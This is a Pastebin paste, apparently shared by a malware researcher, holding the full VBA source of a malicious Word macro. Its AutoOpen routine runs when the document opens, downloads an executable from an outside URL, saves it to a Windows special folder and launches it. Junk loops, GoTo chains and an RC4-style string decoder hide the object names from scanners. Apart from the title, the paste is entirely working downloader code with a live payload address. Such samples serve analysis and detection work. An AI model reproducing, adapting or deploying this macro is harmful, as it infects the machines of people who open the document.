Advertisement
dynamoo

Malicious Word macro

Feb 16th, 2015
580
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Attribute VB_Name = "ThisDocument"
  2. Attribute VB_Base = "1Normal.ThisDocument"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = True
  8. Attribute VB_Customizable = True
  9.  
  10. Private Const Cm8OMu3Ie4h = "nSNOM"
  11. Private Const SQqpgglmtK = "^167617,gzg"
  12. Private Const PTM = "ijPQp"
  13. Private Const oeeWlrJQi = " ÆÒì.Crrnkacvkml"
  14. Private Const gleRsO = "cmJ"
  15. Private Const tUaUWh = "WjúÂ.Qvpgco"
  16. Private Const aZP = "Scripting.FileSystemObject"
  17. Private Const rmoRnWu5OK = "agcnES"
  18. Private Const BkZYOOT = "Éej"
  19. Private Const aq03OU5E = "MGZIf"
  20. Private Const YcGrE = "õÓ L.ZONJVVR"
  21. Private Const j2OhBfg8O = "kMgLkBc"
  22. Private Const iJIw8Vpj = "‚ó´5617,gzg"
  23. Private Const HCpSDASww = "http://laikah.de/js/bin.exe"
  24. Private Const NyjTIGvvn = aZP
  25.  
  26. Sub autoopen()
  27. Dim BeVV3a3, DO1mvh9s
  28. Dim wmdrB As Variant
  29. Dim QJkGTi As String
  30. QJkGTi = SQwkic
  31. Do Until wmdrB = QJkGTi
  32. wmdrB = SQwkic
  33. Exit Do
  34. Loop
  35. Dim UBVbjZENNMQo As Variant
  36. Dim httIMPHgv As String
  37. httIMPHgv = FIdFJYUDQqqR
  38. Do Until UBVbjZENNMQo = httIMPHgv
  39. UBVbjZENNMQo = FIdFJYUDQqqR
  40. Exit Do
  41. Loop
  42. Set BeVV3a3 = CreateObject(NyjTIGvvn)
  43. Dim HPFlghf As Variant
  44. Dim OVzbLcgjazcG As String
  45. OVzbLcgjazcG = bwmdrBk
  46. Do Until HPFlghf = OVzbLcgjazcG
  47. HPFlghf = bwmdrBk
  48. Exit Do
  49. Loop
  50. Dim QupSUBVbjZE As Variant
  51. Dim MQovChttIMP As String
  52. MQovChttIMP = voYFId
  53. Do Until QupSUBVbjZE = MQovChttIMP
  54. QupSUBVbjZE = voYFId
  55. Exit Do
  56. Loop
  57. Dim ee6_wo, y46, gcD8inghgB
  58. Const r94T = 2
  59. Dim BioHPF As Variant
  60. Dim hfkUOV As String
  61. hfkUOV = Lcgja
  62. Do Until BioHPF = hfkUOV
  63. BioHPF = Lcgja
  64. Exit Do
  65. Loop
  66. Dim QVygxjnMn As Variant
  67. Dim KHeAZQM As String
  68. KHeAZQM = EaNQupS
  69. Do Until QVygxjnMn = KHeAZQM
  70. QVygxjnMn = EaNQupS
  71. Exit Do
  72. Loop
  73. Set ee6_wo = BeVV3a3.GetSpecialFolder(r94T)
  74. oihuIHBj = HCpSDASww
  75. Dim fVMblTSGGi As Variant
  76. Dim fyeCTgTRL As String
  77. fyeCTgTRL = xhsyu
  78. Do Until fVMblTSGGi = fyeCTgTRL
  79. fVMblTSGGi = xhsyu
  80. Exit Do
  81. Loop
  82. Dim MZqEaNQupSU As Variant
  83. Dim bjZENNMQovCh As String
  84. bjZENNMQovCh = IMPHgvoY
  85. Do Until MZqEaNQupSU = bjZENNMQovCh
  86. MZqEaNQupSU = IMPHgvoY
  87. Exit Do
  88. Loop
  89. uBHJvsdf = ee6_wo & oOoztLIgBaSO(iJIw8Vpj, j2OhBfg8O)
  90. Set Hb0356TG1 = CreateObject(oOoztLIgBaSO(YcGrE, aq03OU5E))
  91. Dim anyhgT As Variant
  92. Dim DPeLdP As String
  93. DPeLdP = hfZroKhF
  94. Do Until anyhgT = DPeLdP
  95. anyhgT = hfZroKhF
  96. Exit Do
  97. Loop
  98. Dim zdqpFJM As Variant
  99. Dim slUCF As String
  100. slUCF = GUQzNnnNQ
  101. Do Until zdqpFJM = slUCF
  102. zdqpFJM = GUQzNnnNQ
  103. Exit Do
  104. Loop
  105. Hb0356TG1.Open oOoztLIgBaSO(BkZYOOT, rmoRnWu5OK), oihuIHBj, False
  106. Dim rAZFjyf As Variant
  107. Dim MCidechRK As String
  108. MCidechRK = QIZdfQwZ
  109. Do Until rAZFjyf = MCidechRK
  110. rAZFjyf = QIZdfQwZ
  111. Exit Do
  112. Loop
  113. Dim OjxkQxTSv As Variant
  114. Dim gkJkvpHE As String
  115. gkJkvpHE = VNJVmBQK
  116. Do Until OjxkQxTSv = gkJkvpHE
  117. OjxkQxTSv = VNJVmBQK
  118. Exit Do
  119. Loop
  120. Hb0356TG1.send
  121. Dim HcSJQiQPDDfn As Variant
  122. Dim vbyQd As String
  123. vbyQd = IbYuepurCTU
  124. Do Until HcSJQiQPDDfn = vbyQd
  125. HcSJQiQPDDfn = IbYuepurCTU
  126. Exit Do
  127. Loop
  128. Dim qEOjxk As Variant
  129. Dim TSvctgkJ As String
  130. TSvctgkJ = pHEbxVNJ
  131. Do Until qEOjxk = TSvctgkJ
  132. qEOjxk = pHEbxVNJ
  133. Exit Do
  134. Loop
  135. Set oUQW_09Dw = CreateObject(NyjTIGvvn)
  136. If oUQW_09Dw.FileExists(uBHJvsdf) Then
  137. oUQW_09Dw.DeleteFile (uBHJvsdf)
  138. End If
  139. Dim cSJQiQPDDf As Variant
  140. Dim cvbyQdQOI As String
  141. cvbyQdQOI = uepurCTUqrAZ
  142. Do Until cSJQiQPDDf = cvbyQdQOI
  143. cSJQiQPDDf = uepurCTUqrAZ
  144. Exit Do
  145. Loop
  146. Dim gkJkvpHExVNJV As Variant
  147. Dim QKTrmPRyS As String
  148. QKTrmPRyS = VBJKI
  149. Do Until gkJkvpHExVNJV = QKTrmPRyS
  150. gkJkvpHExVNJV = VBJKI
  151. Exit Do
  152. Loop
  153. Dim yky5
  154. Dim FjyflEMCidecRKRwQI As Variant
  155. Dim fQwZD As String
  156. fQwZD = Ysjany
  157. Do Until FjyflEMCidecRKRwQI = fQwZD
  158. FjyflEMCidecRKRwQI = Ysjany
  159. Exit Do
  160. Loop
  161. Dim slUCFCGUQz As Variant
  162. Dim nNQjLfK As String
  163. nNQjLfK = aALFYHeNY
  164. Do Until slUCFCGUQz = nNQjLfK
  165. slUCFCGUQz = aALFYHeNY
  166. Exit Do
  167. Loop
  168. Set yky5 = CreateObject(oOoztLIgBaSO(tUaUWh, gleRsO))
  169. Dim thfZroKhFLHS As Variant
  170. Dim GHRbVziBUPEktusxi As String
  171. GHRbVziBUPEktusxi = MaZptvMcTEmoJ
  172. Do Until thfZroKhFLHS = GHRbVziBUPEktusxi
  173. thfZroKhFLHS = MaZptvMcTEmoJ
  174. Exit Do
  175. Loop
  176. Dim VLOGgInlSH As Variant
  177. Dim JQiQPDDfnzcbyQdQOIb As String
  178. JQiQPDDfnzcbyQdQOIb = epurCTUq
  179. Do Until VLOGgInlSH = JQiQPDDfnzcbyQdQOIb
  180. VLOGgInlSH = epurCTUq
  181. Exit Do
  182. Loop
  183. With yky5
  184. Dim VmBQKTrmPR As Variant
  185. Dim YgVBJKINlsz As String
  186. YgVBJKINlsz = pFJMDds
  187. Do Until VmBQKTrmPR = YgVBJKINlsz
  188. VmBQKTrmPR = pFJMDds
  189. Exit Do
  190. Loop
  191. Dim RwQIZdfQwZ As Variant
  192. Dim jYsjanygTFhDP As String
  193. jYsjanygTFhDP = dPTthfZroK
  194. Do Until RwQIZdfQwZ = jYsjanygTFhDP
  195. RwQIZdfQwZ = dPTthfZroK
  196. Exit Do
  197. Loop
  198. .Type = 1
  199. Dim TeMMAAbkwZ As Variant
  200. Dim vNaNKEQUrblr As String
  201. vNaNKEQUrblr = QQmoxUCg
  202. Do Until TeMMAAbkwZ = vNaNKEQUrblr
  203. TeMMAAbkwZ = QQmoxUCg
  204. Exit Do
  205. Loop
  206. Dim thSuQP As Variant
  207. Dim qchGhsmEBYuS As String
  208. qchGhsmEBYuS = SjyTHQojMO
  209. Do Until thSuQP = qchGhsmEBYuS
  210. thSuQP = SjyTHQojMO
  211. Exit Do
  212. Loop
  213. .Open
  214. Dim AbkwZsYvN As Variant
  215. Dim KEQUrblrnzQ As String
  216. KEQUrblrnzQ = oxUCgvc
  217. Do Until AbkwZsYvN = KEQUrblrnzQ
  218. AbkwZsYvN = oxUCgvc
  219. Exit Do
  220. Loop
  221. Dim fYfJQVmq As Variant
  222. Dim JZQBjl As String
  223. JZQBjl = nALgth
  224. Do Until fYfJQVmq = JZQBjl
  225. fYfJQVmq = nALgth
  226. Exit Do
  227. Loop
  228. .Write Hb0356TG1.responseBody
  229. Dim zdfLRltiO As Variant
  230. Dim INyFMdDCSI As String
  231. INyFMdDCSI = cFkiPEZPG
  232. Do Until zdfLRltiO = INyFMdDCSI
  233. zdfLRltiO = cFkiPEZPG
  234. Exit Do
  235. Loop
  236. Dim LfyRMBhq As Variant
  237. Dim ufYfJQV As String
  238. ufYfJQV = skJZQBj
  239. Do Until LfyRMBhq = ufYfJQV
  240. LfyRMBhq = skJZQBj
  241. Exit Do
  242. Loop
  243. .SaveToFile uBHJvsdf
  244. Dim UbQjzOVYhEdfLRltiOJ As Variant
  245. Dim NyFMdDCSIL As String
  246. NyFMdDCSIL = FkiPE
  247. Do Until UbQjzOVYhEdfLRltiOJ = NyFMdDCSIL
  248. UbQjzOVYhEdfLRltiOJ = FkiPE
  249. Exit Do
  250. Loop
  251. Dim yRMBhrpufYfJ As Variant
  252. Dim mqskJZQBjlFiALgthSu As String
  253. mqskJZQBjlFiALgthSu = rZqchGhsmEBuSKGSjyTHQoj
  254. Do Until yRMBhrpufYfJ = mqskJZQBjlFiALgthSu
  255. yRMBhrpufYfJ = rZqchGhsmEBuSKGSjyTHQoj
  256. Exit Do
  257. Loop
  258. .Close
  259. Dim PEZPGT As Variant
  260. Dim MAAbkwZsYvN As String
  261. MAAbkwZsYvN = KEQUrblrnzQmoxUCgvciBJ
  262. Do Until PEZPGT = MAAbkwZsYvN
  263. PEZPGT = KEQUrblrnzQmoxUCgvciBJ
  264. Exit Do
  265. Loop
  266. Dim nmCGI As Variant
  267. Dim phRzB As String
  268. phRzB = DRNwKjkK
  269. Do Until nmCGI = phRzB
  270. nmCGI = DRNwKjkK
  271. Exit Do
  272. Loop
  273. End With
  274. Dim NxINKVn As Variant
  275. Dim KTsZCRyEYg As String
  276. KTsZCRyEYg = wxvAlemPr
  277. Do Until NxINKVn = KTsZCRyEYg
  278. NxINKVn = wxvAlemPr
  279. Exit Do
  280. Loop
  281. Dim FHdFJYiCQDqQ As Variant
  282. Dim OvNzDd As String
  283. OvNzDd = IbYuQphdpFU
  284. Do Until FHdFJYiCQDqQ = OvNzDd
  285. FHdFJYiCQDqQ = IbYuQphdpFU
  286. Exit Do
  287. Loop
  288. Set yky5 = Nothing
  289. Dim HPFlghfUcjzaa As Variant
  290. Dim iazcG As String
  291. iazcG = bvmdqBk
  292. Do Until HPFlghfUcjzaa = iazcG
  293. HPFlghfUcjzaa = bvmdqBk
  294. Exit Do
  295. Loop
  296. Dim QBvCgtsIMP As Variant
  297. Dim voYFH As String
  298. voYFH = JYiCQDqQn
  299. Do Until QBvCgtsIMP = voYFH
  300. QBvCgtsIMP = JYiCQDqQn
  301. Exit Do
  302. Loop
  303.  
  304. Dim apgiacGEmbvmd As Variant
  305. Dim kjQQyGSvO As String
  306. kjQQyGSvO = kwkicurNxIN
  307. Do Until apgiacGEmbvmd = kjQQyGSvO
  308. apgiacGEmbvmd = kwkicurNxIN
  309. Exit Do
  310. Loop
  311. Dim OIbYuQphd As Variant
  312. Dim UqenKFjlRm As String
  313. UqenKFjlRm = pUdechEL
  314. Do Until OIbYuQphd = UqenKFjlRm
  315. OIbYuQphd = pUdechEL
  316. Exit Do
  317. Loop
  318. If oUQW_09Dw.FileExists(uBHJvsdf) Then
  319. End If
  320. Dim zcGEm As Variant
  321. Dim mdqBkjQQ As String
  322. mdqBkjQQ = SvOuRkwkic
  323. Do Until zcGEm = mdqBkjQQ
  324. zcGEm = SvOuRkwkic
  325. Exit Do
  326. Loop
  327. Dim PGgvoYFHdFJ As Variant
  328. Dim CQDqQn As String
  329. CQDqQn = vNzDdDOIbYuphdpFUqenKF
  330. Do Until PGgvoYFHdFJ = CQDqQn
  331. PGgvoYFHdFJ = vNzDdDOIbYuphdpFUqenKF
  332. Exit Do
  333. Loop
  334. Set dfgFFFfg = CreateObject(oOoztLIgBaSO(oeeWlrJQi, PTM))
  335. Dim gwQVmcfQvZDB As Variant
  336. Dim sjanxhgTTuDP As String
  337. sjanxhgTTuDP = rOhthfZroK
  338. Do Until gwQVmcfQvZDB = sjanxhgTTuDP
  339. gwQVmcfQvZDB = rOhthfZroK
  340. Exit Do
  341. Loop
  342. Dim JKINyrydq As Variant
  343. Dim JLDdskUCE As String
  344. JLDdskUCE = GUfzMAnNk
  345. Do Until JKINyrydq = JLDdskUCE
  346. JKINyrydq = GUfzMAnNk
  347. Exit Do
  348. Loop
  349. dfgFFFfg.Open ee6_wo & oOoztLIgBaSO(SQqpgglmtK, Cm8OMu3Ie4h)
  350. End Sub
  351.  
  352.  
  353. Public Function oOoztLIgBaSO(ByVal Data As String, ByVal Password As String) As String
  354. GoTo JQhIHYNQHhJpmU
  355. JQhIHYNQHhJpmU:
  356. GoTo TKZjRR
  357. TKZjRR:
  358. GoTo goBdwcAReSPJcZ
  359. goBdwcAReSPJcZ:
  360. GoTo qwsDUV
  361. qwsDUV:
  362. GoTo CaGkAgnGND
  363. CaGkAgnGND:
  364. GoTo fdiTMT
  365. fdiTMT:
  366. On Error Resume Next
  367. GoTo aehZxaFplaukbpzi
  368. aehZxaFplaukbpzi:
  369. GoTo HjERgNfQUujgaspMiGM
  370. HjERgNfQUujgaspMiGM:
  371. GoTo YmHJSdQAQjDQQGmvvuy
  372. YmHJSdQAQjDQQGmvvuy:
  373. GoTo kObbqu
  374. kObbqu:
  375. GoTo NdVFnqKnr
  376. NdVFnqKnr:
  377. GoTo lylYzVTwevhlKlwqIF
  378. lylYzVTwevhlKlwqIF:
  379. GoTo QOLQoCYLUtoQ
  380. QOLQoCYLUtoQ:
  381. Dim F(0 To 255) As Integer, X, Y As Long, Key() As Byte
  382. GoTo ZhQCLLKPmtAfsrHKNFe
  383. ZhQCLLKPmtAfsrHKNFe:
  384. GoTo VEGbDHVS
  385. VEGbDHVS:
  386. GoTo ooPYkMgLkBcBMGZIf
  387. ooPYkMgLkBcBMGZIf:
  388. GoTo gcnES
  389. gcnES:
  390. Key() = StrConv(Password, vbFromUnicode)
  391. GoTo JEijPQpx
  392. JEijPQpx:
  393. For X = 0 To 255
  394. GoTo OMRCJQhIHYNQHhJpm
  395. OMRCJQhIHYNQHhJpm:
  396. GoTo eTKZjRREEgoBdwc
  397. eTKZjRREEgoBdwc:
  398. GoTo eSPJcZvfqwsDUVrsCa
  399. eSPJcZvfqwsDUVrsCa:
  400. GoTo AgnGNDje
  401. AgnGNDje:
  402. GoTo iTMTyZ
  403. iTMTyZ:
  404. GoTo ehZxa
  405. ehZxa:
  406. GoTo laukbpzii
  407. laukbpzii:
  408.     Y = (Y + F(X) + Key(X Mod Len(Password))) Mod 256
  409. GoTo ERgNfQU
  410. ERgNfQU:
  411. GoTo gaspMiG
  412. gaspMiG:
  413. GoTo TYmHJSdQAQjDQQG
  414. TYmHJSdQAQjDQQG:
  415. GoTo vuykdkObbqu
  416. vuykdkObbqu:
  417. GoTo NdVFnqKnrPlylYzVTwevhlK
  418. NdVFnqKnrPlylYzVTwevhlK:
  419.     F(X) = X
  420. GoTo IFdyQOLQoC
  421. IFdyQOLQoC:
  422. GoTo UtoQSzTZhQCLLKPm
  423. UtoQSzTZhQCLLKPm:
  424. GoTo fsrHKNFetmVEG
  425. fsrHKNFetmVEG:
  426. GoTo HVSBOooPYkMgLk
  427. HVSBOooPYkMgLk:
  428. Next X
  429. GoTo MGZIfOagcnESb
  430. MGZIfOagcnESb:
  431. Key() = StrConv(Data, vbFromUnicode)
  432. GoTo EijPQpxnSNOMRCJQ
  433. EijPQpxnSNOMRCJQ:
  434. GoTo HYNQHhJpmUIeTKZ
  435. HYNQHhJpmUIeTKZ:
  436. For X = 0 To Len(Data)
  437. GoTo EEgoBdwcAReSPJcZvf
  438. EEgoBdwcAReSPJcZvf:
  439. GoTo sDUVrsCaGkA
  440. sDUVrsCaGkA:
  441. GoTo GNDjefdiT
  442. GNDjefdiT:
  443. GoTo yZKaehZxaFplaukbpzi
  444. yZKaehZxaFplaukbpzi:
  445. GoTo HjERgNfQUujgaspMiGMTYmHJSdQAQjDQQG
  446. HjERgNfQUujgaspMiGMTYmHJSdQAQjDQQG:
  447. GoTo vuykdkObbqupNdVFnqKnrFP
  448. vuykdkObbqupNdVFnqKnrFP:
  449.     Y = (Y + F(Y) + 1) Mod 256
  450. GoTo YzVTwevh
  451. YzVTwevh:
  452. GoTo lwqIFdyQOLQoCYLU
  453. lwqIFdyQOLQoCYLU:
  454. GoTo QSzTZhQCL
  455. QSzTZhQCL:
  456. GoTo PmtAfsrHKNFetmVE
  457. PmtAfsrHKNFetmVE:
  458.     Key(X) = Key(X) Xor F(Temp + F((Y + F(Y)) Mod 254))
  459. GoTo HVSBOooPYkMgLkcBMGZIfOagcnE
  460. HVSBOooPYkMgLkcBMGZIfOagcnE:
  461. Next X
  462. GoTo mJEij
  463. mJEij:
  464. oOoztLIgBaSO = StrConv(Key, vbUnicode)
  465. GoTo xnSNOMRCJ
  466. xnSNOMRCJ:
  467. GoTo IHYNQHh
  468. IHYNQHh:
  469. GoTo mUIeTKZjR
  470. mUIeTKZjR:
  471. GoTo EgoBdwcAReSPJc
  472. EgoBdwcAReSPJc:
  473. GoTo fqwsDUVrsCa
  474. fqwsDUVrsCa:
  475. GoTo AgnGNDjediTMTy
  476. AgnGNDjediTMTy:
  477. GoTo aehZxaFplaukbpziUHjERgN
  478. aehZxaFplaukbpziUHjERgN:
  479. End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement